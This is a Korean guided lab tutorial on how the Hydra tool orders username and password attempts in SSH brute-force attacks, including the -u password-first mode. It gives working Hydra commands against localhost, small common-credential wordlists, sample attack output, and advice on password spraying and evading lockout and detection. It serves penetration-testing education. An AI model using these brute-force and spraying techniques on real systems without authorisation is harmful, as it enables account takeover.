Hydra 공격에서 비밀번호 반복

HydraBeginner
지금 연습하기

소개

이 실습에서는 Hydra 가 SSH 공격 중 사용자 이름과 비밀번호를 반복하는 방식을 학습합니다. 사용자 이름과 비밀번호 목록을 생성한 후 기본 SSH 공격을 실행하여 Hydra 의 기본 동작을 관찰합니다.

먼저, 사용자 이름 목록이 포함된 usernames.txt 파일과 비밀번호 목록이 포함된 passwords.txt 파일을 준비합니다. 그런 다음, 이러한 목록을 사용하여 기본 Hydra SSH 공격을 실행하여 Hydra 가 서로 다른 조합을 시도하는 방식을 보여줍니다. 마지막으로, -u 옵션이 Hydra 가 사용자 이름과 비밀번호 조합을 시도하는 순서에 미치는 영향을 살펴봅니다.

이것은 가이드 실험입니다. 학습과 실습을 돕기 위한 단계별 지침을 제공합니다.각 단계를 완료하고 실무 경험을 쌓기 위해 지침을 주의 깊게 따르세요. 과거 데이터에 따르면, 이것은 초급 레벨의 실험이며 완료율은 94%입니다.학습자들로부터 100%의 긍정적인 리뷰율을 받았습니다.

사용자 이름 및 비밀번호 목록 준비

이 단계에서는 Hydra 가 SSH 로그인 시도에 사용할 사용자 이름 목록과 비밀번호 목록 두 개의 필수 파일을 생성합니다. 이러한 목록을 생성하여 대상 시스템에 대한 다양한 사용자 이름과 비밀번호 조합을 체계적으로 테스트할 수 있습니다.

먼저, 터미널을 엽니다. 현재 /home/labex/project 디렉터리 (또는 ~/project로도 접근 가능) 에 있습니다. 이 디렉터리에 파일을 생성합니다.

nano 텍스트 편집기를 사용하여 usernames.txt 파일을 생성합니다.

nano ~/project/usernames.txt

이제 다음 사용자 이름을 파일에 추가합니다. 이는 예시이며 필요에 따라 사용자 지정할 수 있습니다.

root
admin
test
user
ubuntu

내용을 추가한 후 Ctrl + O를 눌러 파일을 저장하고, 파일 이름을 확인하려면 Enter를 누르고, 마지막으로 Ctrl + X를 눌러 nano를 종료합니다.

다음으로 비밀번호 목록을 생성합니다. 마찬가지로 nano를 사용하여 passwords.txt 파일을 생성합니다.

nano ~/project/passwords.txt

다음 비밀번호를 파일에 추가합니다. 이 역시 예시일 뿐입니다.

password
123456
qwerty
secret
ubuntu

Ctrl + O를 눌러 파일을 저장하고, 파일 이름을 확인하려면 Enter를 누르고, 마지막으로 Ctrl + X를 눌러 nano를 종료합니다.

파일이 올바르게 생성되었는지 확인하려면 cat 명령어를 사용하여 파일 내용을 표시할 수 있습니다.

usernames.txt 파일의 내용을 표시합니다.

cat ~/project/usernames.txt

다음과 유사한 출력이 표시되어야 합니다.

root
admin
test
user
ubuntu

마찬가지로 passwords.txt 파일의 내용을 표시합니다.

cat ~/project/passwords.txt

다음과 유사한 출력이 표시되어야 합니다.

password
123456
qwerty
secret
ubuntu

이제 usernames.txtpasswords.txt 파일은 다음 단계에서 Hydra 와 함께 사용할 준비가 되었습니다.

기본 SSH 공격 실행

이 단계에서는 이전 단계에서 생성한 사용자 이름 및 비밀번호 목록을 사용하여 Hydra 를 이용한 기본 SSH 공격을 실행합니다. 이를 통해 Hydra 가 사용자 이름과 비밀번호를 반복하는 기본 동작을 보여줍니다.

Hydra 명령어의 기본 구문은 다음과 같습니다.

hydra [options] <target> <service> [additional options]
  • hydra: Hydra 도구를 호출하는 명령어입니다.
  • [options]: 공격을 사용자 지정하는 다양한 옵션으로, 사용자 이름 및 비밀번호 목록을 지정하는 등이 있습니다.
  • <target>: 대상 SSH 서버의 IP 주소 또는 호스트 이름입니다. 이 실습에서는 127.0.0.1 (로컬호스트) 을 대상으로 사용합니다.
  • <service>: 공격할 서비스 (예: ssh, ftp, http) 입니다. 이 경우 ssh입니다.
  • [additional options]: 서비스별 옵션입니다.

이제 기본 SSH 공격을 실행합니다. -L 옵션을 사용하여 사용자 이름 목록을, -P 옵션을 사용하여 비밀번호 목록을, -V 옵션을 사용하여 각 시도에 대한 자세한 출력을 볼 수 있도록 합니다.

hydra -V -L ~/project/usernames.txt -P ~/project/passwords.txt 127.0.0.1 ssh

이 명령어는 Hydra 에게 다음을 지시합니다.

  • -V: 각 로그인 시도를 보여주는 자세한 모드를 활성화합니다.
  • -L ~/project/usernames.txt: ~/project 디렉터리의 usernames.txt 파일을 사용자 이름 목록으로 사용합니다.
  • -P ~/project/passwords.txt: ~/project 디렉터리의 passwords.txt 파일을 비밀번호 목록으로 사용합니다.
  • 127.0.0.1: 로컬호스트에서 실행 중인 SSH 서비스를 대상으로 합니다.
  • ssh: SSH 서비스를 공격한다는 것을 지정합니다.

터미널에서 명령어를 실행합니다. Hydra 는 이제 usernames.txt의 각 사용자 이름과 passwords.txt의 각 비밀번호를 사용하여 127.0.0.1의 SSH 서비스에 로그인을 시도합니다. 기본적으로 Hydra 는 사용자 이름을 먼저 반복하고, 다음 사용자 이름으로 이동하기 전에 단일 사용자 이름에 대한 각 비밀번호를 시도합니다.

출력에는 시도가 표시됩니다. 각 로그인 시도에 대한 자세한 정보를 볼 수 있습니다. 약한 비밀번호를 사용하고 로컬호스트를 대상으로 하기 때문에 로그인이 성공할 가능성이 있지만, 대부분의 시도는 실패할 것입니다.

출력은 다음과 유사할 것입니다 (정확한 출력은 다를 수 있습니다).

Hydra vX.X (c) XXXX by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at YYYY-MM-DD HH:MM:SS
[DATA] max X tasks per X server, overall X tasks, X login tries (l:X/p:X), ~X try per task
[DATA] attacking ssh://127.0.0.1:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 127.0.0.1 - login "root" - pass "password" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "123456" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "qwerty" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "secret" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "ubuntu" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "password" - X of X [child X] (X/X)
...

Hydra 가 "root" 사용자에 대한 모든 비밀번호를 먼저 시도한 다음 "admin"으로 이동하는 방식을 주목하십시오. 이것이 기본 동작입니다.

먼저 비밀번호를 반복 실행하기 위해 -u 옵션 사용

이 단계에서는 Hydra 의 로그인 시도 순서를 변경하기 위해 -u 옵션을 사용합니다. 기본적으로 Hydra 는 사용자 이름을 먼저 반복하고, 각 사용자 이름에 대해 모든 비밀번호를 시도한 후 다음 사용자 이름으로 이동합니다. -u 옵션은 이 동작을 반대로 하여 Hydra 가 먼저 비밀번호를 반복하고, 다음 비밀번호로 이동하기 전에 모든 사용자 이름에 대해 각 비밀번호를 시도하도록 합니다.

이 기능은 여러 계정에서 공통 비밀번호가 사용되는 경우 유용할 수 있습니다.

-u 옵션을 사용하려면 이전 Hydra 명령어에 단순히 추가하면 됩니다. 또한 자세한 시도를 보려면 -V 옵션을 다시 사용합니다.

hydra -u -V -L ~/project/usernames.txt -P ~/project/passwords.txt 127.0.0.1 ssh

이 명령어는 Hydra 에게 다음을 지시합니다.

  • -u: 비밀번호를 먼저 반복합니다.
  • -V: 각 로그인 시도를 보여주는 자세한 모드를 활성화합니다.
  • -L ~/project/usernames.txt: ~/project 디렉터리의 usernames.txt 파일을 사용자 이름 목록으로 사용합니다.
  • -P ~/project/passwords.txt: ~/project 디렉터리의 passwords.txt 파일을 비밀번호 목록으로 사용합니다.
  • 127.0.0.1: 로컬호스트에서 실행 중인 SSH 서비스를 대상으로 합니다.
  • ssh: SSH 서비스를 공격한다는 것을 지정합니다.

터미널에서 명령어를 실행합니다. Hydra 는 이제 127.0.0.1의 SSH 서비스에 로그인을 시도합니다. 이번에는 다음 비밀번호로 넘어가기 전에 passwords.txt의 첫 번째 비밀번호를 usernames.txt의 모든 사용자 이름에 대해 시도합니다.

출력을 관찰합니다. 시도 순서가 이전 단계와 다르다는 것을 알 수 있습니다. Hydra 는 이제 동일한 비밀번호를 연속적으로 여러 사용자 이름에 대해 시도합니다.

출력은 다음과 유사할 것입니다 (정확한 출력은 다를 수 있습니다).

Hydra vX.X (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at YYYY-MM-DD HH:MM:SS
[DATA] max X tasks per X server, overall X tasks, X login tries (l:X/p:X), ~X try per task
[DATA] attacking ssh://127.0.0.1:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 127.0.0.1 - login "root" - pass "password" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "password" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "test" - pass "password" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "user" - pass "password" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "ubuntu" - pass "password" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "123456" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "123456" - X of X [child X] (X/X)
...

Hydra 가 이제 "password"를 모든 사용자 이름에 대해 먼저 시도한 다음 "123456"을 모든 사용자 이름에 대해 시도하는 방식을 주목하십시오. 이것이 -u 옵션을 사용했을 때의 동작입니다.

이 명령어의 출력을 이전 단계의 명령어 출력과 비교하면 로그인 시도 순서의 차이를 명확하게 볼 수 있습니다. 이는 Hydra 의 작동 방식을 이해하고 주어진 상황에 가장 효과적인 공격 전략을 선택하는 데 도움이 될 수 있습니다.

공격 패턴 및 성능 분석

이 단계에서는 두 가지 공격 방법의 실제 차이를 분석하고 각 접근 방식이 언제 더 효과적인지 이해합니다. 또한 다양한 시나리오에 따라 Hydra 공격을 최적화하는 방법을 탐색합니다.

전략적 차이 이해

기본 모드와 -u 모드 중 선택은 공격 효율에 상당한 영향을 미칠 수 있습니다.

  • 기본 모드 (사용자 이름 우선): 특정 사용자가 약한 비밀번호를 가지고 있을 것이라고 의심될 때 효과적입니다.
  • 비밀번호 우선 모드 (-u): 여러 계정에서 공통 비밀번호가 사용될 것이라고 의심될 때 효과적입니다.

이를 보다 타겟팅된 접근 방식으로 보여주겠습니다. 먼저 차이를 명확하게 보기 위해 더 작고 집중된 테스트를 생성합니다.

echo -e "admin\ntest" > ~/project/small_users.txt
echo -e "password\n123456" > ~/project/small_passwords.txt

이제 패턴을 명확하게 보기 위해 제한된 출력으로 두 가지 공격 모두를 실행합니다.

기본 공격 (사용자 이름 우선):

hydra -V -t 1 -L ~/project/small_users.txt -P ~/project/small_passwords.txt 127.0.0.1 ssh

-t 1 옵션은 Hydra 가 한 번에 하나의 작업만 사용하도록 제한하여 순서를 더 쉽게 따라갈 수 있도록 합니다.

비밀번호 우선 공격:

hydra -u -V -t 1 -L ~/project/small_users.txt -P ~/project/small_passwords.txt 127.0.0.1 ssh

성능 분석

이제 시간 및 효율성을 분석해 보겠습니다. 간단한 시간 측정 테스트를 생성합니다.

echo "Testing default mode timing..."
time hydra -L ~/project/usernames.txt -P ~/project/passwords.txt 127.0.0.1 ssh > /dev/null 2>&1
echo "Testing -u mode timing..."
time hydra -u -L ~/project/usernames.txt -P ~/project/passwords.txt 127.0.0.1 ssh > /dev/null 2>&1

실제 응용 시나리오

각 모드를 사용해야 하는 시점을 이해합니다.

  1. 기본 모드 사용 시점:

    • 특정 고가치 계정에 대한 정보가 있을 때
    • 관리자 계정에 약한 비밀번호가 있는지 빠르게 테스트하고 싶을 때
    • 소수의 특권 사용자를 대상으로 할 때
  2. -u 모드 사용 시점:

    • 여러 계정에서 비밀번호가 재사용될 것이라고 의심될 때
    • 이전 침해 사례에서 공통 비밀번호 목록이 있을 때
    • 공통 약한 비밀번호를 가진 계정을 찾고 싶을 때

공격 패턴 확인

공격 패턴의 차이를 명확하게 보기 위해 간단한 데모를 생성합니다.

echo "=== 기본 모드 패턴 ==="
hydra -V -t 1 -L ~/project/small_users.txt -P ~/project/small_passwords.txt 127.0.0.1 ssh 2>&1 | grep "ATTEMPT" | head -4
echo "=== 비밀번호 우선 모드 패턴 ==="
hydra -u -V -t 1 -L ~/project/small_users.txt -P ~/project/small_passwords.txt 127.0.0.1 ssh 2>&1 | grep "ATTEMPT" | head -4

이렇게 하면 다음과 같은 차이를 명확하게 볼 수 있습니다.

  • 기본 모드: admin/password, admin/123456, test/password, test/123456
  • 비밀번호 우선 모드: admin/password, test/password, admin/123456, test/123456

계정 잠금 정책을 다루거나 여러 계정에 걸쳐 시도를 분산하여 탐지를 피하려고 할 때 차이가 중요해집니다.

요약

이 실습에서는 ~/project 디렉터리에 사용자 이름 및 비밀번호 목록을 생성하여 Hydra SSH 공격에 필요한 파일을 준비하는 방법을 배웠습니다. Hydra 를 사용하여 자세한 공격 시도를 관찰하고 Hydra 의 반복 동작을 이해하기 위해 상세 출력을 사용하여 SSH 공격을 실행했습니다.

Hydra 의 기본 모드 (사용자 이름 우선 반복) 와 -u 옵션 (비밀번호 우선 반복) 의 중요한 차이점을 탐색했습니다. 실습을 통해 다음을 발견했습니다.

  • 기본 모드: 다음 사용자 이름으로 이동하기 전에 각 사용자 이름에 대해 모든 비밀번호를 시도합니다. 특정 고가치 계정을 대상으로 할 때 적합합니다.
  • 비밀번호 우선 모드 (-u): 다음 비밀번호로 이동하기 전에 모든 사용자 이름에 대해 각 비밀번호를 시도합니다. 공통 약한 비밀번호를 가진 계정을 찾을 때 더 적합합니다.

또한 이러한 모드 중 선택에 대한 실질적인 고려 사항, 성능 영향 및 각 접근 방식이 가장 효과적인 실제 시나리오를 포함하여 배웠습니다. 이러한 이해를 통해 특정 대상 환경 및 목표에 따라 침투 테스트 전략을 최적화할 수 있습니다.

이 실습은 계정 잠금 정책을 다루거나 여러 계정에 걸쳐 로그인 시도를 분산하여 탐지를 피하려고 할 때 서로 다른 공격 패턴이 얼마나 중요한지를 보여주었습니다.